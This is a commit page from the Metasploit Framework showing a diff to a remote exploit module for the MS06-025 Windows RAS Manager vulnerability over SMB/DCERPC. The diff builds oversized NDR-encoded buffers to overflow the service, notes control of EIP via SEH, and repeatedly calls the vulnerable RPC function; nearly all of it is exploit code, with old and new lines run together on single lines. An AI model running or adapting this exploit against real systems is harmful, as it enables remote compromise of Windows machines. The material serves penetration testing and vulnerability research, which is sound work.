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metasploit-framework
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git-svn-id: file:///home/svn/framework3/trunk@3713 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2006-06-20 20:45:50 +00:00
parent 0cf2909fda
commit bb0def749f
1 changed files with 36 additions and 22 deletions
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58
modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
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@ -54,32 +54,38 @@ class Exploits::Windows::Smb::MS06_025_RASMANS_REG < Msf::Exploit::Remote
print_status("Binding to #{handle}") print_status("Binding to #{handle}")
dcerpc_bind(handle) dcerpc_bind(handle)
print_status("Bound to #{handle}") print_status("Bound to #{handle}")
# This ends up mapping to invalid unicode and breaks the exploit
patt = Rex::Text.pattern_create(1024)
# This triggers eip = 0x51515151 after seh is triggered
patt = "\x51" * 1024
type2 = type2 =
NDR.wstring("\x41" * 255) + NDR.string( ("\x41" * 1024) + "\x00" ) +
NDR.wstring("\x41" * 4096) + NDR.string( (patt) + "\x00" ) +
NDR.wstring("\x41" * 4096) + NDR.string( ("\x61" * 4096) + "\x00" ) +
NDR.long(4) + NDR.long(4) +
NDR.long(4) NDR.long(4)
type1 = type1 =
NDR.long(4) + NDR.long(4) + # OperatorDial
NDR.long(4) + NDR.long(4) + # PreviewPhoneNumber
NDR.long(4) + NDR.long(4) + # UseLocation
NDR.long(4) + NDR.long(4) + # ShowLights
NDR.long(4) + NDR.long(4) + # ShowConnectStatus
NDR.long(4) + NDR.long(4) + # CloseOnDial
NDR.long(4) + NDR.long(4) + # AllowLogonPhonebookEdits
NDR.long(4) + NDR.long(4) + # AllowLogonLocationEdits
NDR.long(4) + NDR.long(4) + # SkipConnectComplete
NDR.long(4) + NDR.long(4) + # NewEntryWizard
NDR.long(4) + NDR.long(4) + # RedialAttempts
NDR.long(4) + NDR.long(4) + # RedialSeconds
NDR.long(4) + NDR.long(4) + # IdleHangUpSeconds
NDR.long(4) + NDR.long(4) + # RedialOnLinkFailure
NDR.long(4) + NDR.long(4) + # PopupOnTopWhenRedialing
NDR.long(4) + NDR.long(4) + # ExpandAutoDialQuery
NDR.long(4) + NDR.long(4) + # CallbackMode
NDR.long(0x45) + type2 + # Parsed by CallbackListFromRpc NDR.long(0x45) + type2 + # Parsed by CallbackListFromRpc
NDR.wstring("\x00" * 129) + NDR.wstring("\x00" * 129) +
@ -103,10 +109,18 @@ class Exploits::Windows::Smb::MS06_025_RASMANS_REG < Msf::Exploit::Remote
stubdata = type1 + NDR.long(4) stubdata = type1 + NDR.long(4)
print_status('Stub is ' + stubdata.length.to_s + ' bytes long.') print_status('Stub is ' + stubdata.length.to_s + ' bytes long.')
print_status('Calling the vulnerable function...')
begin begin
print_status('One for the money...')
response = dcerpc.call(0xA, stubdata) response = dcerpc.call(0xA, stubdata)
print_status('Two for the show...')
response = dcerpc.call(0xA, stubdata)
print_status('Three to get ready...')
print_status('Go shellcode, GO!')
rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end end